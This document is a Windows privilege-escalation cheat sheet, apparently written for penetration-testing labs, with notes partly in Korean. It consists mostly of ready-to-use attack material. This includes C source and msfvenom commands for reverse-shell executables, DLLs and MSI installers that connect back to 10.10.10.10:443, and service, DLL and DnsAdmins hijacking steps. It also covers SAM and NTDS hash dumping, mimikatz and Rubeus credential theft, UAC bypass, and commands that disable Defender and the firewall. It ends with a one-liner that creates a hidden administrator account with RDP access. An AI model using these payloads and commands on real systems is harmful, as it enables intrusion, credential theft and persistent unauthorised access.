Window Enumeration

# Find Files
Get-ChildItem -Path C:\ -Include *.kdbx,*.ini -File -Recurse -ErrorAction SilentlyContinue
 
Get-ChildItem -Path C:\Users -Include *.txt,*.ini,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.cfg,*.env,*.ps1,*.bat -File -Recurse -ErrorAction SilentlyContinue
 
# Grep Strings
Get-ChildItem . -File -Recurse | Where-Object Extension -notin '.exe','.dll','.jpg','.png','.zip' | Select-String 'passw|secret|token|key|user'
 
# Check Installed Applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
 
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
 
# Check Scheduled tasks
schtasks /query /fo LIST /v > schtasks.txt
 
# Check Powershell History
type C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 
# Check System info
Get-ItemProperty "HKLM:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
 
# Check Recycle Bin
cd 'C:\$Recycle.bin\$SID'
cd 'C:\$Recycle.bin\S-1-5-21-1987495829-1628902820-919763334-1001'
 
# remove hidden file attribute
attrib -s -h "C:\Path\Filename"
attrib -s -h "Filename"
Set-ItemProperty -Path "C:\Path\Filename" -Name Attributes -Value "Normal"

Service Binary Hijacking

Manually Check:

# Every Service
Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartName
 
# Every Running Service
Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartName | Where-Object {$_.State -like 'Running'}
 
# Every Service except system32 path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartName | findstr /VI "system32"
 
# Every Running Service except system32 path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartName | Where-Object {$_.State -like 'Running'} | findstr /VI "system32"
 
# Check Service Start Type (e.g. mysql)
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
 
# Check Unquoted Service Path
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
 
wmic service get name,pathname | Select-String -NotMatch "C:\\Windows\\" | Select-String -NotMatch '"'
 
wmic service get name,pathname | Where-Object { $_ -notmatch "C:\\Windows\\" -and $_ -notmatch '"' }

Create Malicious Binary rev.exe (rev.c):

#include <stdlib.h>
int main (){
	int cmd;
	cmd = system ("C:\\windows\\tasks\\nc.exe 10.10.10.10 443 -e cmd.exe");
	return 0;
}
// x86_64-w64-mingw32-gcc rev.c -o rev.exe

Service Stop, Start, Misc…

# Query Service
sc.exe query mysql
 
# Server Operators Abusing
sc.exe config VMTools binPath="C:\Windows\Tasks\rev.exe"
 
# Start Service
sc.exe start mysql
net start mysql 
Start-Service -Name mysql
 
# Stop Service
sc.exe stop mysql
net stop mysql
Stop-Service -Name mysql
 
# Reboot PC
shutdown /r /t 0
/r : reboot
/t 0 : right now (0 second after)

DLL Hijacking

  • DLL load 순서는 Safe DLL Search Mode의 활성화 여부에 따라 갈린다.
  • 레지스트리 기본값: 1
  • reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
# 활성화 된경우 (기본값, 현재 디렉토리가 후순위로 밀림)
1.애플리케이션이 로드되는 디렉토리
2. 시스템 디렉토리
3. 16-bit 시스템 디렉토리
4. Windows 디렉토리
5. 현재 디렉토리
6. PATH 환경변수에 등록된 디렉토리
 
# 비활성화 된경우 
1. 애플리케이션이 로드되는 디렉토리
2. 현재 디렉토리
3. 시스템 디렉토리
4. 16-bit 시스템 디렉토리
5. Windows 디렉토리
6. PATH 환경변수에 등록된 디렉토리

Create Malicious DLL rev.dll (rev.cpp):

#include <stdlib.h>
#include <windows.h>
 
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
	switch ( ul_reason_for_call )
	{
		case DLL_PROCESS_ATTACH:
		int i;
		i = system ("C:\\windows\\tasks\\nc.exe 10.10.10.10 443 -e cmd");
		break;
		case DLL_THREAD_ATTACH:
		break;
		case DLL_THREAD_DETACH:
		break;
		case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
// x86_64-w64-mingw32-gcc rev.cpp --shared -o rev.dll

Make DLL file via msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o rev.dll

Privilege Abusing

SeBackupPrivilege

#1. Local SAM, SYSTEM Registry dump

# reg save
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
reg save HKLM\SECURITY security
 
# SAM,SYSTEM Path
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

#2. Disk Dump diskshadow + robocopy

# backup.txt
set verbose on 
set metadata C:\Windows\Tasks\test.cab 
set context persistent 
add volume C: alias cdrive 
create 
expose %cdrive% E: 
 
# in target host:
diskshadow /s ./backup.txt
robocopy /b E:\Windows\ntds .
 
# download to kali & extract hashes 
download ntds.dit
reg save HKLM\SYSTEM SYSTEM
download SYSTEM
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

SeManageVolumePrivilege

github exploit: https://github.com/CsEnox/SeManageVolumeExploit

Steps:

1. After Execute Exploit, you will able to modify C:\Windows Files.
2. Make Malicious DLL Files
3. Trigger it 

#1. Trigger with systeminfo:

Change DLL file:
C:\windows\system32\wbem\tzres.dll
 
Trigger it:
systeminfo
=> If success, you will get 'network service' shell
=> 

#2. Trigger with PrintNotify:

Change DLL file:
C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll 
 
Trigger it:
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)

SeTakeOwnership

# Take Owner
takeown /f 'C:\PathToFiles\flag.txt'
 
# Edit ACLs
icacls 'C:\PathToFiles\flag.txt' /grant Everyone:F

SeDebugPrivilege

#1 mimikatz 사용

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

#2 System 권한 RCE

.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(system_pid,"execute_command","")
 
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(123,"C:\\Windows\\tasks\\rev.exe","")
 
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "lsass").Id,"C:\\Windows\\tasks\\rev.exe","")

SeLoadDriverPrivilege (Print Operators)

DnsAdmins Group

  • dns service dll hijacking → SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o rev.dll
 
# At the Target Host
dnscmd /config /serverlevelplugindll C:\\Windows\\Tasks\\rev.dll
sc.exe stop dns
sc.exe start dns

Log Readers Group

  • Security Event Log를 읽어 정보 획득
# 현재 유저로 wevtutil 사용
wevtutil qe Security /rd:true /f:text | Select-String "/user"
 
# 크리덴셜을 전달하여 wevtutil 사용
wevtutil qe Security /rd:true /f:text [/r:Remote_Host_Name] [/u:UserName] [/p:Password] | findstr "/user"
 
# Get-WinEvent 사용
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

UAC Bypass

  • UAC = 관리자 권한으로 실행 시 팝업되는 확인 프롬프트
    • 관리자 권한의 계정으로 로그인했더라도, 액세스 토큰이 일반 유저 권한인 경우 관리자 권한의 커맨드 실행이 불가능할 수 있다
  • RDP 등의 GUI 환경에서 관리자 권한으로 실행 - 의도된 동작
  • RunasCs.exe --bypass-uac -logon-type 8
  • whoami /groups에서 Mandatory level 확인 필요
    • Medium: 우회 필요 (일반 유저 권한 액세스 토큰)
    • High / SYSTEM: UAC 우회 필요 없는 상황(이미 관리자 권한 액세스 토큰)
  • https://github.com/hfiref0x/UACME - 윈도우 버전에 따른 UAC 우회 Method들 정리한 프로젝트 (컴파일 필요)

Automated Credential exfiltration Tool lists

LaZagne.exe
=> .\lazagne.exe all
 
SharpChrome.exe
-> .\SharpChrome.exe logins /unprotect
 
HackBrowserData
https://github.com/moond4rk/HackBrowserData

Mimikatz

Basic Post Exploit

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

When cannot extract passwords due to Credential Guard

.\mimikatz.exe "privilege::debug" "misc::memssp" "exit"
=> After someones login, check mimilsa.log
 
type C:\Windows\System32\mimilsa.log

Rubeus

Commands

# 현재 유저 TGT 내보내기
.\Rubeus.exe tgtdeleg /nowrap
 
# lsass 캐싱된 TGT/TGS 추출(mimikatz sekurlsa::tickets)
.\Rubeus.exe dump /nowrap
.\Rubeus.exe dump /nowrap /user:Cubana
 
# monitoring
.\Rubeus.exe monitor /interval:5 /user:Cubana /nowrap
 
# roasting
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe asreproast /nowrap

PowerUp.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/README.md

# Check Modifiable Service Binary
Get-ModifiableServiceFile
 
# Check Unquoted Service Path
Get-UnquotedService
 
# Registry Recon
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile
 
# find unattended installation files
Get-UnattendedInstallFile
 
# Get cleartext creds from all web.config
Get-WebConfig
 
# Enable privileges
Get-ProcessTokenPrivilege | Enable-Privilege -Verbose

AlwaysInstallElevated

# 레지스트리 조회
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
# .msi 생성
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.10 lport=443 -f msi > rev.msi
 
# 설치 (리버스쉘 실행)
msiexec /quiet /qn /i C:\windows\tasks\rev.msi

WinPEAS

# Make Colored Output
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

Command Execute as Other User (Need Credential)

$password = convertto-securestring -AsPlainText -Force -String "Password_Here";
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\Administrator",$password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\windows\tasks\nc.exe 10.10.10.10 443 -e cmd.exe} -credential $credential;

Disable Defender

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  • 적용까지 재부팅이 필요할 수 있음.

Disable FireWall

netsh advfirewall set allprofiles state off

Enable RDP

net user /add (Username) (Password) && net localgroup administrators (Username) /add & net localgroup "Remote Desktop Users" (Username) /add & netsh advfirewall firewall set rule group="remote desktop" new enable=Yes & reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v (Username) /t REG_DWORD /d 0 & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f & sc config TermService start= auto

Reference